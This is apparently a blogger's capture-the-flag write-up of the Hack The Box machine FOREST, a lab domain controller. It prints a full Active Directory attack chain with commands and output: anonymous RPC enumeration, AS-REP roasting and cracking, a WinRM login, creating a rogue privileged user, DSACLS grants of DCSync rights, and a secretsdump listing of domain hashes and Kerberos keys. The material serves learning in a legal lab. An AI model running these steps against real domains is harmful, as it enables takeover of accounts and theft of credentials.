Uncategorized

HTB FOREST Writeup

2 Comments

Alright, FOREST has been retired, so I am allowed to do this Writeup on it.

Forest was my first “real” box ever, meaning that it was the first box I did not setup myself, knowing the vulnerability beforehand. And what can I say? It was one hell of a ride, even though the machine was labeled “easy”. But read for yourself!

Setup

My setup is a simple VirtualBox VM running ParrotSec. Nothing special about it. No extra tools installed (that will come later, so make sure you have internet access for this).

Where to start

Well, we are dealing with a remote system. The obvious thing is to launch a port scan and check for low-hanging fruits.

This is where good old nmap comes into play. Let’s fire up a terminal and give it a go:

sudo nmap -T4 -A -v 10.10.10.161

The result looks something like this:

PORT     STATE SERVICE      VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-18 16:13:18Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Host script results:
|_clock-skew: mean: 2h46m50s, deviation: 4h37m11s, median: 6m48s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2020-02-18T08:14:30-08:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-02-18T16:14:27
|_  start_date: 2020-02-18T15:01:23

OK, this looks a lot like a Domain Controller running Windows Server 2016. nmap also provides us with the domain name (htb.local) which will come in handy later on. I was a bit overwhelmed by that, as I have never before interacted with one directly and was now supposed to hack it…well, let’s see how that goes, shall we?

MSRPC and rpcclient

I had the right hunch and tried connecting to port 135, serving msrpc, but I was totally oblivious to what to do there. I tried connecting with some made-up user, but of course that did not work.

Turns out it can be as easy as:

rpcclient -U "" 10.10.10.161

This will connect to msrpc as a user without a name, i.e. anonymously. And guess what, doing so without a password did the trick and I was in!

rpcclient -U "" 10.10.10.161
Enter WORKGROUP\'s password: 
rpcclient $>

I tried to get server information by issuing the srvinfo command, but got NT_STATUS_ACCESS_DENIED as a response. I then tried enumdomusers and got this beautiful and promising output:

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[killforest] rid:[0x1db1]

One user stood out for me, because we use the same tool at work: svc-alfresco. I did not know it yet, but that user would take me to root eventually.

I also checked the password policy using getdompwinfo:

rpcclient $> getdompwinfo
min_password_length: 7
password_properties: 0x00000000

From what I understand, this means that the only constraint applied to users’ passwords is a minimum length of 7 characters. No other constraints apply.

I dumped the usernames into a file for later use.

Using enumdomgroups, I found out what groups existed on the domain:

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Organization Management] rid:[0x450]
group:[Recipient Management] rid:[0x451]
group:[View-Only Organization Management] rid:[0x452]
group:[Public Folder Management] rid:[0x453]
group:[UM Management] rid:[0x454]
group:[Help Desk] rid:[0x455]
group:[Records Management] rid:[0x456]
group:[Discovery Management] rid:[0x457]
group:[Server Management] rid:[0x458]
group:[Delegated Setup] rid:[0x459]
group:[Hygiene Management] rid:[0x45a]
group:[Compliance Management] rid:[0x45b]
group:[Security Reader] rid:[0x45c]
group:[Security Administrator] rid:[0x45d]
group:[Exchange Servers] rid:[0x45e]
group:[Exchange Trusted Subsystem] rid:[0x45f]
group:[Managed Availability Servers] rid:[0x460]
group:[Exchange Windows Permissions] rid:[0x461]
group:[ExchangeLegacyInterop] rid:[0x462]
group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]
group:[Service Accounts] rid:[0x47c]
group:[Privileged IT Accounts] rid:[0x47d]
group:[test] rid:[0x13ed]

I then tried messing around with querygroup <rid> and querygroupmem <rid>, but that led nowhere.

Inception: Let’s go deeper

I decided to give nmap another go and scan for all ports:

sudo nmap -v -p- 10.10.10.161
Completed SYN Stealth Scan at 15:30, 3251.47s elapsed (65535 total ports)
Nmap scan report for 10.10.10.161
Host is up (0.045s latency).
Not shown: 65511 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49676/tcp open  unknown
49677/tcp open  unknown
49684/tcp open  unknown
49698/tcp open  unknown
49717/tcp open  unknown

That took quite a while! As I couldn’t figure out what to do with those ports, I desperately fired up OpenVAS and scanned the machine with everything it has to offer, but to no avail.

While I waited for OpenVAS to finish, I found out about impacket, though – and that was an awesome find!

Impacket

Getting impacket on Linux is as easy as:

git clone https://github.com/SecureAuthCorp/impacket
cd impacket/examples

For some reason all the scripts in the example folder would not start due to an extra parameter to logging. That was easily resolved by removing said parameter in the scripts. Guess some dependency got mixed up or something, but no big deal.

Browsing the examples (they all have a help function, I suggest using it) led me to GetNPUsers.py.

This nifty tool takes a list of usernames to try (-usersfile) and queries the target domain for users with ‘Do not require Kerberos preauthentication’ set and exports their TGT (Ticket Granting Ticket).

So I used my username dump file (just the user names, one per line) and gave it a try:

./GetNPUsers.py htb.local -dc-ip 10.10.10.161 -no-pass -usersfile forest-users.txt

And what do you know – this yielded the password hash for svc-alfresco!

No Kerberos Preauthentication

According to Microsoft TechNet, Kerberos Pre-Authentication works like this (as I understand it):

When a user logs in and pre-authentication is required, the client encrypts a timestamp with the user’s password’s hash and sends it to the Authentication Service (AS) which is part of the Domain Controller (DC). The Domain’s Key Distribution Center (KDC) decrypts that timestamp with the same hash and by that is able to verify that this is a legitimate request.

If pre-authentication is not required, however, an attacker can send a dummy request and the KDC will return a TGT which can be brute-forced offline without leaving any suspicious traces behind (besides the one dummy request).

Let’s crack that password!

I told GetNPUsers to dump the password hash in hashcat format, but wasn’t able to make it work on my setup, so I ran the tool again to dump in john format. And john did indeed crack the password in under a second (I used the default rockyou wordlist).

Here’s the dumped hash in hashcat format:

$krb5asrep$23$svc-alfresco@HTB.LOCAL:2b1a4575cdd7794d1fcf4f45cecce955$1e5fb9e8af317e29623511f9186b14ed105a3c93ac32fb0e76e5dfa16dea24e98175718dce5fd21dc0c89ff3b733b3fabcac049421bbd715ad7223525642701f3cc4cf0c15c51091e99edf2070dbf3521464725f5e0d3f2b6f7951aeeb4ec4fdccfcfdca29c8da68a6250fa1d6737a3f2ed244b796dbab8c0fec58db86c1075554943317b9ca06ff7050d65d226dd14f4c5f9a10b638d6e488aedb8e8ec349f493d06d49bca4a3e4476f98888777fea9c1697c4ee9baac8b673cfa9d5fbc37d020784261f7ff781ea6b2241308346ad03324b41eb04b06d27ea46dc021a1c04970057f56c31

Here’s the same hash in john format:

$krb5asrep$svc-alfresco@HTB.LOCAL:6d7cbc48583b5446b99c6513fce4fcbd$3235bc84082b82724324cb49c7bf1a737434f937ed15426a32636e92f29ac162030a78def8b660ea976dc9670444353249f29db21775a67b913d8c0aa8cc0981fa902e8f378713f3aa41356b8abf084dae47e15a5d633f4e5aa83d60d8a6e4b32f84f331ddc7eaf92efa57bb7e095bc73196eab70da305176f02de238c643cd6a3e058e473b1617bf9d4b34c1a0d29c392b36556ffe220e53761a750634f6d19393b419c59c8d5ccfbef9bebe01a4889e3e91eb071cde02039fbb0c2a467180afd6827155a1dc0dadb9e003dedb751ef1ed8ac84dc63b154946daee7a8e6a96b6cef4b2c6202

I dumped the latter into a file (/home/steps0x29a/forest-alfresco.passwd) and ran john:

/usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt --session=/root/.john/sessions/02-20-20-12-04-14 /home/steps0x29a/forest-alfresco.passwd

The password is s3rvice .

Where do you want do go today?

I played around with that password a bit, as I was now able to use smbclient with working credentials:

smbclient -L 10.10.10.161 -U svc-alfresco
Enter WORKGROUP\svc-alfresco's password: 
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share

I hit a brick wall at this point. I had no idea what to do next.

But I remembered that the second port scan revealed some more ports than the first one. I tried connecting to some of them, but nothing seemed to work.

I then found something that did the trick and owning the user was just a few keystrokes away!

Enter evil-winrm

evil-winrm is a tool that actually deserves its name! RM is short for Remote Management. According to the tool’s github repo, Microsoft added WinRM, their implementation of the WS-Management Protocol, to Windows to make admins’ lives easier…well…guess what!

When I saw that evil-winrm‘s default port is 5985 and nmap lists that as wsman (WS-Management), I couldn’t help but grin and laugh.

Installing evil-winrm is easy: 

sudo gem install evil-winrm

Connecting and getting the user flag is – literally – just a few keystrokes from here:

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

This will drop you into C:\Users\svc-alfresco\Documents and give you a PowerShell session. Getting the user flag is exceptionally easy at this point:

cd ../Desktop
cat user.txt
e5e4e47ae7022664cda6eb013fb0d9ed
download user.txt

That’s much better! User is pwned, on to rooting this box!

But first…

Lessons learned

What looks like a straightforward case above took me several hours. I read a lot, googled a lot and was quite frustrated every now and then. But I learned a few things that I wanted to share.

  • I know nothing! Seriously, this one hit me in the face, hard. When I got the first port scan back from nmap, I had no idea where to go from that point. I had to google and experiment a lot in order to advance.
  • Enumeration is key! Learning how to enumerate a machine properly is vital to any operation like this. Had I not known about the higher ports, I would still be without a flag on this one.
  • It’s not always metasploit! Yeah, metasploit is awesome and all, but I did not need it for this box. Not at all. smbclient was the tool that helped me the most (besides impacket of course). So…maybe learn some more about standard tools.
  • Vulnerabilities can be subtle! Actually, this one was a small detail (well, a small detail with a huge impact!). The fact that svc-alfresco was not required to pre-authenticate would’ve never crossed my mind were it not for impacket‘s tools/examples. That’s something I’ll keep in mind in the future, so…see next bullet point.
  • Check pre-authentication when dealing with AD! Yeah, this one was so important and so easy to exploit that I’ll keep that in mind for future operations.
  • It’s good to have alternatives! As I mentioned above, hashcat wouldn’t run on my machine for whatever reason. john did and worked just fine.
  • Linux, Windows, Mac – gotta know them all! Sure, hacking away on your machine is way cooler with Linux, I agree. But if you know nothing about Windows or even Mac, you might be screwed at a certain point.
  • Build your toolset! I discovered two tools/toolsets that I did not know anything about before: impacket and evil-winrm. Both are amazing and deserve their names. So I guess the lesson here is: find out about tools and use them, try them, learn how they work and why they work. In addition to that, maybe don’t use something like Parrot (although I love it!), but build your own system, installing all the tools you actually need by hand. That way, you know what’s on there and how it works.

En route to root…well…Administrator

After successfully obtaining the user flag, I was psyched and highly motivated. I did not know it yet, but there was a series of brick walls waiting for me…

I kept reading everything I could find on how to approach this next step. After a while I learned about BloodHound and was excited. First of all I liked the idea behind the tool and the expertise that went into creating it. So I thought I’d give it a try. But first things first…

Creating a new user

Not sure whether you’d want to do something like this in a real-life scenario, as it could easily trigger some alarms, but on this box, as there are always other users trying to attempt stuff, your own user is really a nice thing to have.

Creating one is easy with evil-winrm. Simply login to the box as svc-alfresco as before and then issue some basic commands (no need for any pre-made scripts). I actually wrote a simple PowerShell function that I could use with evil-winrm as the box kept resetting (at least my user disappeared every now and then). So here’s the function, but of course you can simply type/paste those commands:

function MakeUser() {
    dsadd user "CN=steps0x29a,CN=Users,DC=htb,DC=local" -samid steps0x29a
    dsmod user "CN=steps0x29a,CN=Users,DC=htb,DC=local" -pwd steps0x29aa92x0spets
    Set-ADUser -Identity "CN=steps0x29a,CN=Users,DC=htb,DC=local" -UserPrincipalName steps0x29a@htb.local
    Set-ADUser -Identity "CN=steps0x29a,CN=Users,DC=htb,DC=local" -DisplayName steps0x29a
    dsmod group "CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=htb,DC=local" -addmbr "CN=steps0x29a,CN=Users,DC=htb,DC=local"
    dsmod group "CN=Remote Management Users,CN=Builtin,DC=htb,DC=local" -addmbr "CN=steps0x29a,CN=Users,DC=htb,DC=local"
    Enable-ADAccount -Identity "CN=steps0x29a,CN=Users,DC=htb,DC=local"

I know, some of the commands above are not required to get the flag, but I thought they were a nice touch. I actually had several more groups I added my user to while experimenting:

"CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=htb,DC=local"
"CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=htb,DC=local"
"CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security Groups,DC=htb,DC=local"
"CN=Exchange Install Domain Servers,CN=Microsoft Exchange System Objects,DC=htb,DC=local"
"CN=Allowed RODC Password Replication Group,CN=Users,DC=htb,DC=local"

As I understand it, those groups are not required to pull off this flag, but they didn’t hurt either.

Now I could login with my own user and have my private playground. It’s vital to add the user to Remote Management Users, as otherwise you won’t be able to login with it using evil-winrm.

Release the hound!

Installing BloodHound was easy on my machine, as it is Debian-based and BloodHound is in the repo:

sudo apt install -y bloodhound

This will also install neo4j.

Next up, init neo4j:

sudo neo4j console

To setup neo4j, open a browser and go to http://localhost:7474. Change the default password of the neo4j user (default is neo4j) and then run bloodhound from a terminal. Give it your username (neo4j) and whatever password you just set. You’re all set, time to feed the dog.

I found out that I could supply evil-winrm with a scripts path, so I did:

mkdir /home/steps0x29a/ps

I then downloaded the SharpHound.ps1 ingestor that would gather all the info required for BloodHound to work:

wget -o /home/steps0x29a/ps/SharpHound.ps1 https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1

With that done, I connected using evil-winrm, supplying the above scripts path:

evil-winrm -i 10.10.10.161 -u steps0x29a -p steps0x29aa92x0spets -s /home/steps0x29a/ps

Inside the remote session, type the name of a script in your scripts path to load it (this can take quite some time, just be patient):

> SharpHound.ps1

As I created my very own user, I could write to its Documents folder, of course, so invoking the ingestion was pretty easy:

Invoke-BloodHound -Domain HTB -LDAPUser steps0x29a -LDAPPass steps0x29aa92x0spets -CollectionMethod All -DomainController 10.10.10.161 -ZipFileName steps0x29a.zip
download steps0x29a.zip

This will gather a lot of intel on the domain and put it in a convenient zip file which evil-winrm enables us to download with ease. I imported that zip file into BloodHound, opened the queries tab and found the shortest way to Administrator.

That yielded a vital piece of information, but I couldn’t figure it out at the time. It tells us, that members of the group Exchange Windows Permissions are granted WriteDACL on the domain. Besides the “write” part, that meant nothing to me, as my knowledge of AD and Windows domains is…well…not that thorough.

What the hell is WriteDACL?

I tried to figure this one out, so I read lot. The main problem is: if you don’t really know what you’re looking for, Google is not that helpful sometimes. But after some reading, I finally found this piece of gold:

WriteDACL: Provides the ability to modify security on an object which can lead to Full Control of the object.

https://adsecurity.org/?p=3658

Wait! What!? So as a member of Exchange Windows Permissions I have de-facto full control on the whole domain? Awesome! But how do I…?

Here come the rabbit holes

From this point on, I’d bang my head against the keyboard more often than not. Nothing I tried seemed to work. Nothing. Actually, that was the moment when I tried adding the user to more groups as I stated above, just in case.

I tried so many tools, command, scripts. But nothing seemed to work. I read about DCSync, mimikatz, several different methods of pwning ACLs, but nothing did seem to do the trick.

What I really got was that I needed DCSync permissions to pull it off. Sadly, I did not understand how to grant them to myself. That syntax eluded me (still does).

DCSync

DCSync is quite an evil attack. As I understand it, it exploits a feature of AD: domain controller synchronization (DCSync, duh!). Certain users/groups are permitted to sync one DC to another (in case one fails or whatever). That includes everything, even password hashes. With the appropriate permissions, a user can query the DC to sync (replicate) the hashes of all users and simply keep them.

The required permissions are:

  • Replicating Directory Changes
  • Replicating Directory Changes All
  • Replicating Directory Changes In Filtered Set

The last one is not required in this scenario, but might be in others.

To read more about DCSync, check out this post, or this one. Or this. Or that.

But how to get DCSync permissions?

Yeah, that one made me furious. I simply lacked a deep enough understanding of the inner workings of AD to make it work. I realized that I had permission to modify security ACLs on the domain. But what good would that be? My user needed DCSync permissions, not the domain. Yeah, I know…

Another user (thanks, man!) pointed me in the right direction and everything fell into place at that point. I was so damn happy at that moment!

Here’s what I found: Bart’s Hideout. Yes, that actually gave me everything I needed.

Here’s the code from that blog, modified for my own user:

$Identity = "domain\steps0x29a"
$RootDSE = [ADSI]"LDAP://RootDSE"
$DefaultNamingContext = $RootDse.defaultNamingContext
$ConfigurationNamingContext = $RootDse.configurationNamingContext
$UserPrincipal = New-Object Security.Principal.NTAccount("$Identity")
DSACLS "$DefaultNamingContext" /G "$($UserPrincipal):CA;Replicating Directory Changes"
DSACLS "$ConfigurationNamingContext" /G "$($UserPrincipal):CA;Replicating Directory Changes"

Alright, after trying this, I was getting access denied errors. I was crushed, as I had hoped to finally have found the solution. But then I realized something, after fidgeting with the code a bit. The first DSACLS command succeeded, but the second didn’t. Then it hit me like a train: there’s something missing! The above code only grants Replicating Directory Changes, but not Replicating Directory Changes All! I modified the script a bit:

$Identity = "domain\steps0x29a"
$RootDSE = [ADSI]"LDAP://RootDSE"
$DefaultNamingContext = $RootDse.defaultNamingContext
$UserPrincipal = New-Object Security.Principal.NTAccount("$Identity")
DSACLS "$DefaultNamingContext" /G "$($UserPrincipal):CA;Replicating Directory Changes"
DSACLS "$DefaultNamingContext" /G "$($UserPrincipal):CA;Replicating Directory Changes All"

I then realized that I could reduce it even further for the sake of this box:

DSACLS 'DC=htb,DC=local' /G 'htb.local\steps0x29a:CA;Replicating Directory Changes'
DSACLS 'DC=htb,DC=local' /G 'htb.local\steps0x29a:CA;Replicating Directory Changes All'

Yes, the solution is two lines. Two!

The DefaultNamingContext is applied when NetBIOS name and FQDN of the domain are the same. Otherwise the ConfigurationNamingContext is required as well. That’s why that second line failed in my case.

Dump ’em all

Immediately after elevating my permissions with the above script/commands, I launched secretsdump.py from the impacket examples. And what do you know, here’s what I got:

./secretsdump.py -dc-ip 10.10.10.161 htb.local/steps0x29a:steps0x29aa92x0spets@10.10.10.161
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
nana:7601:aad3b435b51404eeaad3b435b51404ee:8cdc4bf41739343ab39a9634c72f3ef0:::
zombie:7602:aad3b435b51404eeaad3b435b51404ee:b9f917853e3dbf6e6831ecce60725930:::
htb.local\steps0x29a:7603:aad3b435b51404eeaad3b435b51404ee:bdf0f4724847d017a2364c244d7cfa9f:::
test1:7604:aad3b435b51404eeaad3b435b51404ee:3b1b47e42e0463276e3ded6cef349f93:::
joch:7605:aad3b435b51404eeaad3b435b51404ee:1b6f7e5b81e8e2d7d86d88a9b6b53960:::
tmp:7607:aad3b435b51404eeaad3b435b51404ee:a77e81091e5d42faaf4768c1f2db715e:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:e4aae82f38a6f79149c4c3d3c9ca61f7:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
